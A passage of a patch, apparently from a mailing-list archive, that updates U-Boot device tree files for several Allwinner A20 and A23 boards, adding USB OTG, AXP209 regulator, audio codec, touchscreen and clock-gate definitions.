-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
- 	mmc0_cd_pin_orangepi: mmc0_cd_pin at 0 {
- 		allwinner,pins = "PH10";
- 		allwinner,function = "gpio_in";
-@@ -225,6 +240,10 @@
- 	regulator-name = "avcc";
- };
- 
-+&reg_usb0_vbus {
-+	status = "okay";
-+};
-+
- &reg_usb1_vbus {
- 	pinctrl-0 = <&usb1_vbus_pin_bananapro>;
- 	gpio = <&pio 7 26 GPIO_ACTIVE_HIGH>; /* PH26 */
-@@ -243,7 +262,21 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
-+&usb_power_supply {
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb0_vbus_power-supply = <&usb_power_supply>;
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun7i-a20-orangepi.dts
-+++ b/arch/arm/dts/sun7i-a20-orangepi.dts
-@@ -141,7 +141,18 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
- 	mmc0_cd_pin_orangepi: mmc0_cd_pin at 0 {
- 		allwinner,pins = "PH10";
- 		allwinner,function = "gpio_in";
-@@ -203,6 +214,10 @@
- 	regulator-name = "avcc";
- };
- 
-+&reg_usb0_vbus {
-+	status = "okay";
-+};
-+
- &reg_usb1_vbus {
- 	pinctrl-0 = <&usb1_vbus_pin_bananapro>;
- 	gpio = <&pio 7 26 GPIO_ACTIVE_HIGH>; /* PH26 */
-@@ -221,7 +236,21 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
-+&usb_power_supply {
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb0_vbus_power-supply = <&usb_power_supply>;
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun7i-a20-pcduino3-nano.dts
-+++ b/arch/arm/dts/sun7i-a20-pcduino3-nano.dts
-@@ -82,6 +82,14 @@
- 	status = "okay";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
-@@ -108,13 +116,9 @@
- 	status = "okay";
- 
- 	axp209: pmic at 34 {
--		compatible = "x-powers,axp209";
- 		reg = <0x34>;
- 		interrupt-parent = <&nmi_intc>;
- 		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
--
--		interrupt-controller;
--		#interrupt-cells = <1>;
- 	};
- };
- 
-@@ -142,6 +146,10 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
- 	ahci_pwr_pin_pcduino3_nano: ahci_pwr_pin at 0 {
- 		allwinner,pins = "PH2";
-@@ -157,8 +165,15 @@
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
- 
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
- 	usb1_vbus_pin_pcduino3_nano: usb1_vbus_pin at 0 {
--		allwinner,pins = "PH11";
-+		allwinner,pins = "PD2";
- 		allwinner,function = "gpio_out";
- 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-@@ -171,13 +186,37 @@
- 	status = "okay";
- };
- 
--&reg_usb1_vbus {
--	pinctrl-0 = <&usb1_vbus_pin_pcduino3_nano>;
--	gpio = <&pio 7 11 GPIO_ACTIVE_HIGH>; /* PH11 */
--	status = "okay";
-+#include "axp209.dtsi"
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-int-pll";
-+};
-+
-+&reg_ldo1 {
-+	regulator-name = "vdd-rtc";
-+};
-+
-+&reg_ldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "avcc";
- };
- 
--&reg_usb2_vbus {
-+/* A single regulator (U24) powers both USB host ports. */
-+&reg_usb1_vbus {
-+	pinctrl-0 = <&usb1_vbus_pin_pcduino3_nano>;
-+	gpio = <&pio 3 2 GPIO_ACTIVE_HIGH>; /* PD2 */
- 	status = "okay";
- };
- 
-@@ -187,8 +226,16 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
--	usb2_vbus-supply = <&reg_usb2_vbus>;
-+	usb2_vbus-supply = <&reg_usb1_vbus>;
- 	status = "okay";
- };
---- a/arch/arm/dts/sun7i-a20-pcduino3.dts
-+++ b/arch/arm/dts/sun7i-a20-pcduino3.dts
-@@ -111,6 +111,14 @@
- 	allwinner,pins = "PH2";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
-@@ -137,16 +145,14 @@
- 	status = "okay";
- 
- 	axp209: pmic at 34 {
--		compatible = "x-powers,axp209";
- 		reg = <0x34>;
- 		interrupt-parent = <&nmi_intc>;
- 		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
--
--		interrupt-controller;
--		#interrupt-cells = <1>;
- 	};
- };
- 
-+#include "axp209.dtsi"
-+
- &ir0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&ir0_rx_pins_a>;
-@@ -171,6 +177,10 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
- 	led_pins_pcduino3: led_pins at 0 {
- 		allwinner,pins = "PH15", "PH16";
-@@ -185,6 +195,13 @@
- 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
-+
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
- };
- 
- &reg_ahci_5v {
-@@ -192,6 +209,31 @@
- 	status = "okay";
- };
- 
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-int-pll";
-+};
-+
-+&reg_ldo1 {
-+	regulator-name = "vdd-rtc";
-+};
-+
-+&reg_ldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "avcc";
-+};
-+
- &reg_usb1_vbus {
- 	status = "okay";
- };
-@@ -206,7 +248,15 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun7i-a20-wexler-tab7200.dts
-+++ b/arch/arm/dts/sun7i-a20-wexler-tab7200.dts
-@@ -48,6 +48,7 @@
- #include <dt-bindings/gpio/gpio.h>
- #include <dt-bindings/input/input.h>
- #include <dt-bindings/interrupt-controller/irq.h>
-+#include <dt-bindings/pwm/pwm.h>
- 
- / {
- 	model = "Wexler TAB7200";
-@@ -57,11 +58,28 @@
- 		serial0 = &uart0;
- 	};
- 
-+	backlight {
-+		compatible = "pwm-backlight";
-+		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
-+		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
-+		default-brightness-level = <8>;
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&bl_enable_pin>;
-+		enable-gpios = <&pio 7 7 GPIO_ACTIVE_HIGH>; /* PH7 */
-+	};
-+
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
- };
- 
-+&codec {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&codec_pa_pin>;
-+	allwinner,pa-gpios = <&pio 7 15 GPIO_ACTIVE_HIGH>; /* PH15 */
-+	status = "okay";
-+};
-+
- &cpu0 {
- 	cpu-supply = <&reg_dcdc2>;
- };
-@@ -86,6 +104,8 @@
- 	};
- };
- 
-+#include "axp209.dtsi"
-+
- &i2c1 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c1_pins_a>;
-@@ -96,6 +116,18 @@
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c2_pins_a>;
- 	status = "okay";
-+
-+	gt911: touchscreen at 5d {
-+		compatible = "goodix,gt911";
-+		reg = <0x5d>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>; /* EINT21 (PH21) */
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&ts_reset_pin>;
-+		irq-gpios = <&pio 7 21 GPIO_ACTIVE_HIGH>; /* INT (PH21) */
-+		reset-gpios = <&pio 1 13 GPIO_ACTIVE_HIGH>; /* RST (PB13) */
-+		touchscreen-swapped-x-y;
-+	};
- };
- 
- &lradc {
-@@ -135,7 +167,45 @@
- 	status = "okay";
- };
- 
--#include "axp209.dtsi"
-+&otg_sram {
-+	status = "okay";
-+};
-+
-+&pio {
-+	bl_enable_pin: bl_enable_pin at 0 {
-+		allwinner,pins = "PH7";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	codec_pa_pin: codec_pa_pin at 0 {
-+		allwinner,pins = "PH15";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	ts_reset_pin: ts_reset_pin at 0 {
-+		allwinner,pins = "PB13";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+};
-+
-+&pwm {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&pwm0_pins_a>;
-+	status = "okay";
-+};
- 
- &reg_dcdc2 {
- 	regulator-always-on;
-@@ -162,6 +232,10 @@
- 	regulator-name = "avcc";
- };
- 
-+&reg_usb0_vbus {
-+	status = "okay";
-+};
-+
- &reg_usb1_vbus {
- 	status = "okay";
- };
-@@ -176,7 +250,21 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
-+&usb_power_supply {
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb0_vbus_power-supply = <&usb_power_supply>;
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun7i-a20-wits-pro-a20-dkt.dts
-+++ b/arch/arm/dts/sun7i-a20-wits-pro-a20-dkt.dts
-@@ -1,13 +1,52 @@
- /*
-- * Copyright 2015 Hans de Goede <hdegoede at redhat.com>
-+ * Copyright 2015 Jelle de Jong <jelledejong at powercraft.nl>
-  *
-- * Minimal dts file for the Wits Pro A20 DKT for u-boot only
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-  *
-- * SPDX-License-Identifier:     GPL-2.0+ or X11
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-  */
- 
- /dts-v1/;
- #include "sun7i-a20.dtsi"
-+#include "sunxi-common-regulators.dtsi"
-+
-+#include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/input/input.h>
-+#include <dt-bindings/interrupt-controller/irq.h>
- 
- / {
- 	model = "Wits Pro A20 DKT";
-@@ -20,6 +59,17 @@
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
-+
-+	mmc3_pwrseq: mmc3_pwrseq {
-+		compatible = "mmc-pwrseq-simple";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&vmmc3_pin_ap6xxx_wl_regon>;
-+		reset-gpios = <&pio 7 9 GPIO_ACTIVE_LOW>; /* PH9 WIFI_EN */
-+	};
-+};
-+
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
- };
- 
- &ehci0 {
-@@ -42,6 +92,60 @@
- 	};
- };
- 
-+&i2c0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c0_pins_a>;
-+	status = "okay";
-+
-+	axp209: pmic at 34 {
-+		reg = <0x34>;
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+	};
-+};
-+
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+};
-+
-+&i2c2 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c2_pins_a>;
-+	status = "okay";
-+};
-+
-+#include "axp209.dtsi"
-+
-+&mmc0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_reference_design>;
-+	vmmc-supply = <&reg_vcc3v3>;
-+	bus-width = <4>;
-+	cd-gpios = <&pio 7 1 GPIO_ACTIVE_HIGH>; /* PH1 */
-+	cd-inverted;
-+	status = "okay";
-+};
-+
-+&mmc3 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc3_pins_a>;
-+	vmmc-supply = <&reg_vcc3v3>;
-+	mmc-pwrseq = <&mmc3_pwrseq>;
-+	bus-width = <4>;
-+	non-removable;
-+	status = "okay";
-+
-+	brcmf: bcrmf at 1 {
-+		reg = <1>;
-+		compatible = "brcm,bcm4329-fmac";
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 10 IRQ_TYPE_LEVEL_LOW>; /* PH10 / EINT10 */
-+		interrupt-names = "host-wake";
-+	};
-+};
-+
- &ohci0 {
- 	status = "okay";
- };
-@@ -50,8 +154,85 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
-+&pio {
-+	vmmc3_pin_ap6xxx_wl_regon: vmmc3_pin at 0 {
-+		allwinner,pins = "PH9";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+};
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1450000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-int-dll";
-+};
-+
-+&reg_ldo1 {
-+	regulator-name = "vdd-rtc";
-+};
-+
-+&reg_ldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "avcc";
-+};
-+
-+&reg_usb0_vbus {
-+	status = "okay";
-+};
-+
-+&reg_usb1_vbus {
-+	status = "okay";
-+};
-+
-+&reg_usb2_vbus {
-+	status = "okay";
-+};
-+
- &uart0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&uart0_pins_a>;
- 	status = "okay";
- };
-+
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
-+&usb_power_supply {
-+	status = "okay";
-+};
-+
-+&usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb0_vbus_power-supply = <&usb_power_supply>;
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
-+	usb1_vbus-supply = <&reg_usb1_vbus>;
-+	usb2_vbus-supply = <&reg_usb2_vbus>;
-+	status = "okay";
-+};
---- a/arch/arm/dts/sun7i-a20.dtsi
-+++ b/arch/arm/dts/sun7i-a20.dtsi
-@@ -47,6 +47,7 @@
- #include <dt-bindings/interrupt-controller/arm-gic.h>
- #include <dt-bindings/thermal/thermal.h>
- 
-+#include <dt-bindings/clock/sun4i-a10-pll2.h>
- #include <dt-bindings/dma/sun4i-a10.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
- 
-@@ -67,7 +68,7 @@
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_be0-lcd0-hdmi";
- 			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 43>,
--				 <&ahb_gates 44>;
-+				 <&ahb_gates 44>, <&dram_gates 26>;
- 			status = "disabled";
- 		};
- 
-@@ -75,7 +76,8 @@
- 			compatible = "allwinner,simple-framebuffer",
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_be0-lcd0";
--			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 44>;
-+			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 44>,
-+				 <&dram_gates 26>;
- 			status = "disabled";
- 		};
- 
-@@ -84,7 +86,7 @@
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_be0-lcd0-tve0";
- 			clocks = <&pll5 1>, <&ahb_gates 34>, <&ahb_gates 36>,
--				 <&ahb_gates 44>;
-+				 <&ahb_gates 44>, <&dram_gates 26>;
- 			status = "disabled";
- 		};
- 	};
-@@ -107,7 +109,7 @@
- 				720000	1200000
- 				528000	1100000
- 				312000	1000000
--				144000	900000
-+				144000	1000000
- 				>;
- 			#cooling-cells = <2>;
- 			cooling-min-level = <0>;
-@@ -199,6 +201,15 @@
- 			clock-output-names = "pll1";
- 		};
- 
-+		pll2: clk at 01c20008 {
-+			#clock-cells = <1>;
-+			compatible = "allwinner,sun4i-a10-pll2-clk";
-+			reg = <0x01c20008 0x8>;
-+			clocks = <&osc24M>;
-+			clock-output-names = "pll2-1x", "pll2-2x",
-+					     "pll2-4x", "pll2-8x";
-+		};
-+
- 		pll4: clk at 01c20018 {
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun7i-a20-pll4-clk";
-@@ -267,6 +278,19 @@
- 			compatible = "allwinner,sun7i-a20-ahb-gates-clk";
- 			reg = <0x01c20060 0x8>;
- 			clocks = <&ahb>;
-+			clock-indices = <0>, <1>,
-+					<2>, <3>, <4>,
-+					<5>, <6>, <7>, <8>,
-+					<9>, <10>, <11>, <12>,
-+					<13>, <14>, <16>,
-+					<17>, <18>, <20>, <21>,
-+					<22>, <23>, <25>,
-+					<28>, <32>, <33>, <34>,
-+					<35>, <36>, <37>, <40>,
-+					<41>, <42>, <43>,
-+					<44>, <45>, <46>,
-+					<47>, <49>, <50>,
-+					<52>;
- 			clock-output-names = "ahb_usb0", "ahb_ehci0",
- 				"ahb_ohci0", "ahb_ehci1", "ahb_ohci1",
- 				"ahb_ss", "ahb_dma", "ahb_bist", "ahb_mmc0",
-@@ -295,6 +319,10 @@
- 			compatible = "allwinner,sun7i-a20-apb0-gates-clk";
- 			reg = <0x01c20068 0x4>;
- 			clocks = <&apb0>;
-+			clock-indices = <0>, <1>,
-+					<2>, <3>, <4>,
-+					<5>, <6>, <7>,
-+					<8>, <10>;
- 			clock-output-names = "apb0_codec", "apb0_spdif",
- 				"apb0_ac97", "apb0_iis0", "apb0_iis1",
- 				"apb0_pio", "apb0_ir0", "apb0_ir1",
-@@ -314,6 +342,12 @@
- 			compatible = "allwinner,sun7i-a20-apb1-gates-clk";
- 			reg = <0x01c2006c 0x4>;
- 			clocks = <&apb1>;
-+			clock-indices = <0>, <1>,
-+					<2>, <3>, <4>,
-+					<5>, <6>, <7>,
-+					<15>, <16>, <17>,
-+					<18>, <19>, <20>,
-+					<21>, <22>, <23>;
- 			clock-output-names = "apb1_i2c0", "apb1_i2c1",
- 				"apb1_i2c2", "apb1_i2c3", "apb1_can",
- 				"apb1_scr", "apb1_ps20", "apb1_ps21",
-@@ -442,6 +476,14 @@
- 			clock-output-names = "ir1";
- 		};
- 
-+		keypad_clk: clk at 01c200c4 {
-+			#clock-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-mod0-clk";
-+			reg = <0x01c200c4 0x4>;
-+			clocks = <&osc24M>;
-+			clock-output-names = "keypad";
-+		};
-+
- 		usb_clk: clk at 01c200cc {
- 			#clock-cells = <1>;
- 			#reset-cells = <1>;
-@@ -460,6 +502,48 @@
- 			clock-output-names = "spi3";
- 		};
- 
-+		dram_gates: clk at 01c20100 {
-+			#clock-cells = <1>;
-+			compatible = "allwinner,sun4i-a10-dram-gates-clk";
-+			reg = <0x01c20100 0x4>;
-+			clocks = <&pll5 0>;
-+			clock-indices = <0>,
-+					<1>, <2>,
-+					<3>,
-+					<4>,
-+					<5>, <6>,
-+					<15>,
-+					<24>, <25>,
-+					<26>, <27>,
-+					<28>, <29>;
-+			clock-output-names = "dram_ve",
-+					     "dram_csi0", "dram_csi1",
-+					     "dram_ts",
-+					     "dram_tvd",
-+					     "dram_tve0", "dram_tve1",
-+					     "dram_output",
-+					     "dram_de_fe1", "dram_de_fe0",
-+					     "dram_de_be0", "dram_de_be1",
-+					     "dram_de_mp", "dram_ace";
-+		};
-+
-+		ve_clk: clk at 01c2013c {
-+			#clock-cells = <0>;
-+			#reset-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-ve-clk";
-+			reg = <0x01c2013c 0x4>;
-+			clocks = <&pll4>;
-+			clock-output-names = "ve";
-+		};
-+
-+		codec_clk: clk at 01c20140 {
-+			#clock-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-codec-clk";
-+			reg = <0x01c20140 0x4>;
-+			clocks = <&pll2 SUN4I_A10_PLL2_1X>;
-+			clock-output-names = "codec";
-+		};
-+
- 		mbus_clk: clk at 01c2015c {
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun5i-a13-mbus-clk";
-@@ -744,6 +828,14 @@
- 			status = "disabled";
- 		};
- 
-+		crypto: crypto-engine at 01c15000 {
-+			compatible = "allwinner,sun4i-a10-crypto";
-+			reg = <0x01c15000 0x1000>;
-+			interrupts = <GIC_SPI 86 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&ahb_gates 5>, <&ss_clk>;
-+			clock-names = "ahb", "mod";
-+		};
-+
- 		spi2: spi at 01c17000 {
- 			compatible = "allwinner,sun4i-a10-spi";
- 			reg = <0x01c17000 0x1000>;
-@@ -1159,6 +1251,19 @@
- 			status = "disabled";
- 		};
- 
-+		codec: codec at 01c22c00 {
-+			#sound-dai-cells = <0>;
-+			compatible = "allwinner,sun7i-a20-codec";
-+			reg = <0x01c22c00 0x40>;
-+			interrupts = <GIC_SPI 30 IRQ_TYPE_LEVEL_HIGH>;
-+			clocks = <&apb0_gates 0>, <&codec_clk>;
-+			clock-names = "apb", "codec";
-+			dmas = <&dma SUN4I_DMA_NORMAL 19>,
-+			       <&dma SUN4I_DMA_NORMAL 19>;
-+			dma-names = "rx", "tx";
-+			status = "disabled";
-+		};
-+
- 		sid: eeprom at 01c23800 {
- 			compatible = "allwinner,sun7i-a20-sid";
- 			reg = <0x01c23800 0x200>;
---- a/arch/arm/dts/sun8i-a23-a33.dtsi
-+++ b/arch/arm/dts/sun8i-a23-a33.dtsi
-@@ -56,7 +56,7 @@
- 		#size-cells = <1>;
- 		ranges;
- 
--		framebuffer at 0 {
-+		simplefb_lcd: framebuffer at 0 {
- 			compatible = "allwinner,simple-framebuffer",
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_be0-lcd0";
-@@ -175,27 +175,13 @@
- 			clock-output-names = "apb1";
- 		};
- 
--		ahb1_gates: clk at 01c20060 {
--			#clock-cells = <1>;
--			compatible = "allwinner,sun8i-a23-ahb1-gates-clk";
--			reg = <0x01c20060 0x8>;
--			clocks = <&ahb1>;
--			clock-output-names = "ahb1_mipidsi", "ahb1_dma",
--					"ahb1_mmc0", "ahb1_mmc1", "ahb1_mmc2",
--					"ahb1_nand", "ahb1_sdram",
--					"ahb1_hstimer", "ahb1_spi0",
--					"ahb1_spi1", "ahb1_otg", "ahb1_ehci",
--					"ahb1_ohci", "ahb1_ve", "ahb1_lcd",
--					"ahb1_csi", "ahb1_be",	"ahb1_fe",
--					"ahb1_gpu", "ahb1_spinlock",
--					"ahb1_drc";
--		};
--
- 		apb1_gates: clk at 01c20068 {
- 			#clock-cells = <1>;
- 			compatible = "allwinner,sun8i-a23-apb1-gates-clk";
- 			reg = <0x01c20068 0x4>;
- 			clocks = <&apb1>;
-+			clock-indices = <0>, <5>,
-+					<12>, <13>;
- 			clock-output-names = "apb1_codec", "apb1_pio",
- 					"apb1_daudio0",	"apb1_daudio1";
- 		};
-@@ -213,6 +199,10 @@
- 			compatible = "allwinner,sun8i-a23-apb2-gates-clk";
- 			reg = <0x01c2006c 0x4>;
- 			clocks = <&apb2>;
-+			clock-indices = <0>, <1>,
-+					<2>, <16>,
-+					<17>, <18>,
-+					<19>, <20>;
- 			clock-output-names = "apb2_i2c0", "apb2_i2c1",
- 					"apb2_i2c2", "apb2_uart0",
- 					"apb2_uart1", "apb2_uart2",
-@@ -391,12 +381,19 @@
